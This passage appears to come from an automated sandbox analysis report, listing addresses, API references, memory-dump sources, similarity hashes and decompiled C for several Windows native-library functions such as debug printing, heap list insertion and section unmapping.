0x6b613074
0x6b613081
0x6b613089
0x6b61308b
0x6b61308d
0x6b613093
0x6b61309a
0x6b6130ce
0x6b6130d1
0x6b6130d5
0x6b6130d5
0x6b6130d5
0x6b61308d
0x6b6130db
0x6b6130e6
0x6b6130e7
0x6b6130e8
0x6b6130e9
0x6b6130f3
0x6b612f27
0x6b612f29
0x6b612f2b
0x6b612f2d
0x6b612f36
0x6b612f3d
0x6b612f4c
0x6b612f58
0x6b612fad
0x6b612fb7
0x6b612fb7

APIs

_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6B60B632,?,00000000), ref: 6B61303C
_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6B60B632,?,00000000), ref: 6B613049
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000,?,?,?,?,6B60B632,?,00000000), ref: 6B61305E
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6B613081
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6B6130AF
RtlReleaseSRWLockExclusive.1105(?), ref: 6B6130DB

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugExclusiveLockPrintTimes_allshl$AcquireRelease
String ID:
API String ID: 4236268356-0
Opcode ID: 6786f3b6f129cbd2348ba655b2cb007c9ca133bdc66b4163a4b0d2cb6d4ef8d2
Instruction ID: 7d6647bc173bfcb4d1c3a02424913747bc70f425f6e3bf189c1b51b441e84a61
Opcode Fuzzy Hash: 6786f3b6f129cbd2348ba655b2cb007c9ca133bdc66b4163a4b0d2cb6d4ef8d2
Instruction Fuzzy Hash: 445108726082158FC714CF2EC8515AABBF5FF89321B05826AF899DB291DB34DD15CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6B54B171, Relevance: 9.2, APIs: 6, Instructions: 166
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6B54B171(signed short __ebx, void* __ecx, void* __edx, void* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				int _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				void* _t106;
				void* _t110;
				int _t111;
				void* _t114;
				void* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x6b61f7a8);
				E6B59D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *(_t114 - 0x84) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E6B59D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E6B58D000(0x80);
						 *(_t114 - 0x18) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *(_t114 - 0x84);
						_t110 = _t106;
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						memcpy(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t108 + _t111;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *(_t114 - 0x5c) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											E6B59DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E6B58B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E6B58B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E6B58E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E6B58A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x6b54b171
0x6b54b171
0x6b54b171
0x6b54b171
0x6b54b171
0x6b54b176
0x6b54b17b
0x6b54b180
0x6b54b186
0x6b54b18f
0x6b54b198
0x6b54b1a4
0x6b54b1aa
0x6b5a4802
0x6b5a4802
0x6b5a4805
0x6b5a480c
0x6b5a480e
0x6b54b1d1
0x6b54b1d3
0x6b54b1de
0x6b54b1de
0x6b5a4817
0x6b5a481e
0x6b5a4820
0x6b5a4822
0x6b5a4822
0x6b5a4824
0x6b5a4824
0x6b5a482a
0x00000000
0x00000000
0x6b5a4835
0x6b5a483a
0x6b5a483d
0x6b5a483f
0x6b5a4842
0x6b5a4842
0x6b5a4842
0x6b5a4846
0x6b5a484c
0x6b5a484e
0x6b5a4851
0x6b5a4851
0x6b5a4853
0x6b5a4854
0x6b5a4854
0x6b5a4858
0x6b5a485a
0x6b5a485a
0x6b5a485d
0x6b5a485f
0x6b5a4861
0x6b5a4861
0x6b5a4866
0x6b5a486b
0x6b5a486e
0x6b5a4871
0x6b5a4876
0x6b5a4876
0x6b5a4878
0x6b5a487b
0x6b5a4884
0x6b5a4884
0x00000000
0x6b5a487d
0x6b5a487d
0x6b5a4882
0x6b5a4889
0x6b5a4889
0x6b5a488f
0x6b5a4891
0x6b5a48e0
0x6b5a48e2
0x6b5a48e4
0x6b5a48e4
0x6b5a48e7
0x6b5a48e7
0x6b5a48ed
0x6b5a48f4
0x6b5a48f6
0x6b5a4951
0x6b5a4951
0x6b5a4953
0x6b5a4953
0x6b5a4956
0x6b5a4956
0x6b5a4958
0x6b5a4959
0x6b5a4959
0x6b5a495d
0x6b5a495d
0x6b5a495f
0x6b5a495f
0x6b5a4965
0x6b5a4969
0x6b5a49ba
0x6b5a49ba
0x6b5a49c1
0x6b5a49c5
0x6b5a49cc
0x6b5a49d4
0x6b5a49d7
0x6b5a49da
0x6b5a49e4
0x6b5a49e5
0x6b5a49f3
0x6b5a4a02
0x00000000
0x6b5a4a02
0x6b5a4972
0x6b5a4974
0x00000000
0x00000000
0x6b5a4976
0x6b5a4979
0x6b5a4982
0x6b5a4983
0x6b5a4984
0x6b5a498b
0x6b5a498d
0x6b5a4991
0x6b5a4993
0x6b5a4999
0x6b5a499d
0x6b5a49a2
0x6b5a49a2
0x6b5a49a2
0x6b5a4999
0x6b5a49ac
0x00000000
0x6b5a49b3
0x6b5a48f8
0x6b5a48fe
0x00000000
0x00000000
0x00000000
0x6b5a48fe
0x6b5a4895
0x6b5a489c
0x6b5a48ad
0x6b5a48b2
0x6b5a48b5
0x6b5a48b7
0x6b5a48ba
0x6b5a48bc
0x6b5a48c6
0x6b5a48c6
0x6b5a48cb
0x6b5a48d1
0x6b5a48d4
0x6b5a48d8
0x6b5a48d8
0x00000000
0x6b5a48d8
0x6b5a48be
0x6b5a48c0
0x00000000
0x00000000
0x6b5a48c2
0x00000000
0x00000000
0x00000000
0x6b5a48c4
0x00000000
0x6b5a4882
0x6b5a487b
0x6b5a4904
0x6b5a4906
0x00000000
0x00000000
0x6b5a4908
0x6b5a490e
0x00000000
0x00000000
0x6b5a4910
0x6b5a4917
0x6b5a4917
0x00000000
0x6b5a4917
0x6b54b1ba
0x6b5a47f9
0x6b5a47fc
0x00000000
0x00000000
0x00000000
0x6b5a47fc
0x6b54b1c0
0x6b54b1c0
0x6b54b1c3
0x6b54b1cb
0x00000000
0x00000000
0x00000000

APIs

ZwQueryDebugFilterState.1105(?,6B58B627,6B61F7A8,00000090,6B54B16E,00000003,6B58B627,0000000A,00000001,00000000,0000000A,6B58B627,Invalid parameter passed to C runtime function.), ref: 6B54B1C4
_alloca_probe_16.1105(6B61F7A8,00000090,6B54B16E,00000003,6B58B627,0000000A,00000001,00000000,0000000A,6B58B627,Invalid parameter passed to C runtime function.), ref: 6B5A4835
memcpy.1105(?,?,?,6B61F7A8,00000090,6B54B16E,00000003,6B58B627,0000000A,00000001,00000000,0000000A,6B58B627), ref: 6B5A4866
_vsnprintf.1105(?,-00000081,?,?,0000000A,6B58B627), ref: 6B5A48AD
ZwWow64DebuggerCall.1105(00000001,00000000,7FFE02D4,?,6B58B627,6B61F7A8,00000090,6B54B16E,00000003,6B58B627,0000000A,00000001,00000000,0000000A,6B58B627,Invalid parameter passed to C runtime function.), ref: 6B5A4986

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CallDebugDebuggerFilterQueryStateWow64_alloca_probe_16_vsnprintfmemcpy
String ID:
API String ID: 1346858437-0
Opcode ID: f6f0eb2eaa28f5c0537941c7c5427994c18a45056cdfd8b0587bfb5507799622
Instruction ID: 032a176744682ededb14689491b83580d8e28c321e628671954772fec43a3fcb
Opcode Fuzzy Hash: f6f0eb2eaa28f5c0537941c7c5427994c18a45056cdfd8b0587bfb5507799622
Instruction Fuzzy Hash: 9C51F371D0425A8EFB20CFB8C881BEEBBB0AF45714F2041A9D859AB281DB784D458F91

Uniqueness

Uniqueness Score: -1.00%

Function 6B61740D, Relevance: 9.1, APIs: 6, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6B61740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E6B59D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E6B58F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					memcpy(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x6b61740d
0x6b617412
0x6b617413
0x6b617416
0x6b617418
0x6b61741c
0x6b61741f
0x6b617422
0x6b617422
0x6b617428
0x6b61742a
0x6b61742a
0x6b617451
0x6b617432
0x6b61744f
0x6b61744f
0x00000000
0x6b617434
0x6b617438
0x6b617443
0x6b617517
0x6b617517
0x6b61751a
0x6b617535
0x6b617520
0x6b617527
0x6b61752c
0x6b617531
0x6b617533
0x00000000
0x6b617533
0x00000000
0x6b617531
0x6b61754b
0x6b61754f
0x6b61755c
0x6b61755c
0x6b61755f
0x6b617560
0x6b617561
0x6b617562
0x6b617563
0x6b617568
0x6b61756a
0x6b61756c
0x6b61756d
0x6b61756d
0x6b61756f
0x6b617572
0x6b617574
0x6b617577
0x6b61757c
0x6b61757f
0x00000000
0x6b617551
0x6b617551
0x6b617551
0x6b617553
0x6b617553
0x6b617449
0x6b617449
0x6b61744c
0x6b61744c
0x00000000
0x6b61744c
0x6b617443
0x6b61750e
0x6b617514
0x6b617514
0x6b617455
0x6b617469
0x6b61746d
0x00000000
0x6b617473
0x6b617473
0x6b617476
0x6b617480
0x6b617484
0x6b61748e
0x6b617493
0x6b617493
0x6b617496
0x6b617499
0x6b6174a1
0x6b6174b1
0x6b6174b5
0x00000000
0x6b6174bb
0x6b6174c1
0x6b6174c1
0x6b6174c4
0x6b6174c5
0x6b6174c6
0x6b6174c7
0x6b6174c8
0x6b6174cd
0x00000000
0x6b6174d3
0x6b6174d3
0x6b6174d6
0x6b6174d8
0x6b6174db
0x6b6174dd
0x6b6174e0
0x6b6174e7
0x6b6174ee
0x6b6174ee
0x6b6174f4
0x6b6174f9
0x00000000
0x6b6174fb
0x6b6174fb
0x6b6174fd
0x6b617500
0x6b617503
0x6b617505
0x6b617505
0x6b6174f9
0x00000000
0x6b6174cd
0x6b6174b5
0x00000000

APIs

RtlCompareMemory.1105(00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6B5C14C4,0000000C,?,?,00000000,00000066,00000000), ref: 6B61743C
RtlAllocateHeap.1105(?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6B5C14C4,0000000C,?,?,00000000,00000066,00000000), ref: 6B617464
memcpy.1105(00000018,?,00000000,?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6B5C14C4,0000000C,?,?), ref: 6B617484
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6B6174AC
memcmp.1105(00000066,00000008,00000010,00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6B5C14C4,0000000C,?,?), ref: 6B617527
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6B617546

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CompareMemorymemcmpmemcpy
String ID:
API String ID: 3500240269-0
Opcode ID: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction ID: 177436c4fb77f3069207ff22e3da7e7b85daa5911c3a4dde5ee01bfe22a6983f
Opcode Fuzzy Hash: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction Fuzzy Hash: 0551AEB1604606EFDB15CF18D481A96BBB5FF45308F14C0AAE908DF225E775EA46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B550100, Relevance: 9.1, APIs: 6, Instructions: 122
nativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6B550100(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				char _t38;
				void* _t42;
				signed int* _t43;
				signed int _t44;
				signed int _t49;
				char _t59;
				intOrPtr* _t61;
				void* _t62;
				signed int _t65;
				intOrPtr _t67;
				signed int _t70;
				signed int _t72;
				void* _t73;

				_push(0x1c);
				_push(0x6b61f848);
				_t37 = E6B59D08C(__ebx, __edi, __esi);
				_t59 = 0;
				 *((char*)(_t73 - 0x19)) = 0;
				if( *((intOrPtr*)(_t73 + 8)) == 0) {
					_t38 = 0;
					L7:
					return E6B59D0D1(_t38);
				}
				E6B562280(_t37, 0x6b63861c);
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t72 =  *0x6b636da4;
				if(_t72 == 0) {
					_t59 = 1;
					L26:
					 *((char*)(_t73 - 0x19)) = _t59;
					L6:
					 *(_t73 - 4) = 0xfffffffe;
					E6B55021A();
					_t38 = _t59;
					goto L7;
				}
				_t70 = _t72;
				 *(_t73 - 0x24) = _t70;
				_t42 =  *0x6b636da0;
				 *(_t73 - 0x20) = _t42;
				while(_t70 > 0) {
					_t65 = _t70 << 5;
					if( *((intOrPtr*)(_t65 + _t42 - 0x1c)) ==  *((intOrPtr*)(_t73 + 8))) {
						_t61 = _t42 - 0x20 + _t65;
						 *((intOrPtr*)(_t73 - 0x28)) = _t61;
						_t14 = _t61 + 0x10; // 0x10f
						_t43 = _t14;
						 *(_t73 - 0x2c) = _t43;
						_t44 =  *_t43;
						if(_t44 == 0) {
							L21:
							_t62 =  *(_t73 - 0x20);
							L16:
							if(_t70 != _t72) {
								E6B549FF0(_t70 - 1);
							}
							_t72 = _t72 - 1;
							 *0x6b636da4 = _t72;
							if(_t72 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t62);
								_t42 = 0;
								 *(_t73 - 0x20) = 0;
								 *0x6b636da0 = 0;
								 *0x6b636da8 =  *0x6b636da8 & 0;
								L32:
								_t70 =  *(_t73 - 0x24);
								_t72 =  *0x6b636da4;
								L20:
								_t59 = 1;
								 *((char*)(_t73 - 0x19)) = 1;
								goto L5;
							}
							_t49 =  *0x6b636da8 + 0xffffffe0;
							if(_t72 < _t49) {
								_t42 = RtlReAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t62, _t49 << 5);
								 *(_t73 - 0x20) = _t42;
								if(_t42 != 0) {
									 *0x6b636da0 = _t42;
									 *0x6b636da8 =  *0x6b636da8 - 0x20;
									goto L32;
								}
								_t59 = 0;
								goto L26;
							}
							_t42 =  *(_t73 - 0x20);
							goto L20;
						}
						_t67 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t67 != 0) {
							if(_t67 !=  *_t61) {
								goto L21;
							}
						}
						if(_t44 == 0xffffffff) {
							goto L21;
						}
						_push(_t44 & 0xfffffffc);
						if( *((intOrPtr*)(_t61 + 0x1c)) == 0xc0000019) {
							_push(0);
							RtlFreeHeap( *( *[fs:0x30] + 0x18));
							_t70 =  *(_t73 - 0x24);
							_t61 =  *((intOrPtr*)(_t73 - 0x28));
						} else {
							_push(0xffffffff);
							E6B5897A0();
						}
						if( *(_t61 + 0x14) != 0) {
							_push( *(_t61 + 0x14));
							E6B5895D0();
							 *(_t61 + 0x14) =  *(_t61 + 0x14) & 0x00000000;
						}
						 *( *(_t73 - 0x2c)) =  *( *(_t73 - 0x2c)) & 0x00000000;
						_t72 =  *0x6b636da4;
						_t62 =  *0x6b636da0;
						 *(_t73 - 0x20) = _t62;
						goto L16;
					}
					L5:
					_t70 = _t70 - 1;
					 *(_t73 - 0x24) = _t70;
				}
				goto L6;
			}

0x6b550100
0x6b550102
0x6b550107
0x6b55010c
0x6b55010e
0x6b550115
0x6b5a6127
0x6b55016a
0x6b55016f
0x6b55016f
0x6b550120
0x6b550125
0x6b550129
0x6b550131
0x6b5a612e
0x6b5a6134
0x6b5a6134
0x6b55015c
0x6b55015c
0x6b550163
0x6b550168
0x00000000
0x6b550168
0x6b550137
0x6b550139
0x6b55013c
0x6b550141
0x6b550144
0x6b55014a
0x6b550154
0x6b550175
0x6b550177
0x6b55017a
0x6b55017a
0x6b55017d
0x6b550180
0x6b550184
0x6b55020b
0x6b55020b
0x6b5501db
0x6b5501dd
0x6b550213
0x6b550213
0x6b5501df
0x6b5501e2
0x6b5501e8
0x6b5a6171
0x6b5a6176
0x6b5a6178
0x6b5a617b
0x6b5a6180
0x6b5a6194
0x6b5a6194
0x6b5a6197
0x6b550201
0x6b550201
0x6b550203
0x00000000
0x6b550203
0x6b5501f3
0x6b5501f8
0x6b5a61b2
0x6b5a61b7
0x6b5a61bc
0x6b5a6188
0x6b5a618d
0x00000000
0x6b5a618d
0x6b5a6132
0x00000000
0x6b5a6132
0x6b5501fe
0x00000000
0x6b5501fe
0x6b55018a
0x6b550191
0x6b5a613f
0x00000000
0x00000000
0x6b5a6145
0x6b55019a
0x00000000
0x00000000
0x6b55019f
0x6b5501a7
0x6b5a614a
0x6b5a6155
0x6b5a615a
0x6b5a615d
0x6b5501ad
0x6b5501ad
0x6b5501af
0x6b5501af
0x6b5501b8
0x6b5501ba
0x6b5501bd
0x6b5501c2
0x6b5501c2
0x6b5501c9
0x6b5501cc
0x6b5501d2
0x6b5501d8
0x00000000
0x6b5501d8
0x6b550156
0x6b550156
0x6b550157
0x6b550157
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6B63861C,6B61F848,0000001C,6B54F66C,?,00000000,6B6352D8), ref: 6B550120
ZwUnmapViewOfSection.1105(000000FF,?,6B63861C,6B61F848,0000001C,6B54F66C,?,00000000,6B6352D8), ref: 6B5501AF
ZwClose.1105(?,000000FF,?,6B63861C,6B61F848,0000001C,6B54F66C,?,00000000,6B6352D8), ref: 6B5501BD

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCloseExclusiveLockSectionUnmapView
String ID:
API String ID: 1629747488-0
Opcode ID: b500ee10dcebe1be6d8dee779295805cba1840f16733b039f9b1e108e2a4eecf
Instruction ID: 9f6f36caa2ba8db5fb8d5a76d5576ef5e93a18156bcdd3fa482fd419a1cddb10
Opcode Fuzzy Hash: b500ee10dcebe1be6d8dee779295805cba1840f16733b039f9b1e108e2a4eecf
Instruction Fuzzy Hash: BE41BE32989204CFEF51DF68C9907DE7BB0BF46759F080596D820AB292D33CD951CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5C5623, Relevance: 9.1, APIs: 6, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6B5C5623(signed int __edx) {
				void* _t21;
				signed int _t22;
				void* _t23;
				signed int _t24;
				intOrPtr _t26;
				signed int _t27;
				signed char* _t39;
				signed int _t45;
				signed int _t51;
				signed int _t54;
				signed int _t63;

				_t51 = __edx;
				_t21 = E6B567D50();
				_t45 = 0x7ffe0384;
				if(_t21 == 0) {
					_t22 = 0x7ffe0384;
				} else {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				_t54 = 0x7ffe0385;
				if( *_t22 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6B567D50() == 0) {
						_t39 = 0x7ffe0385;
					} else {
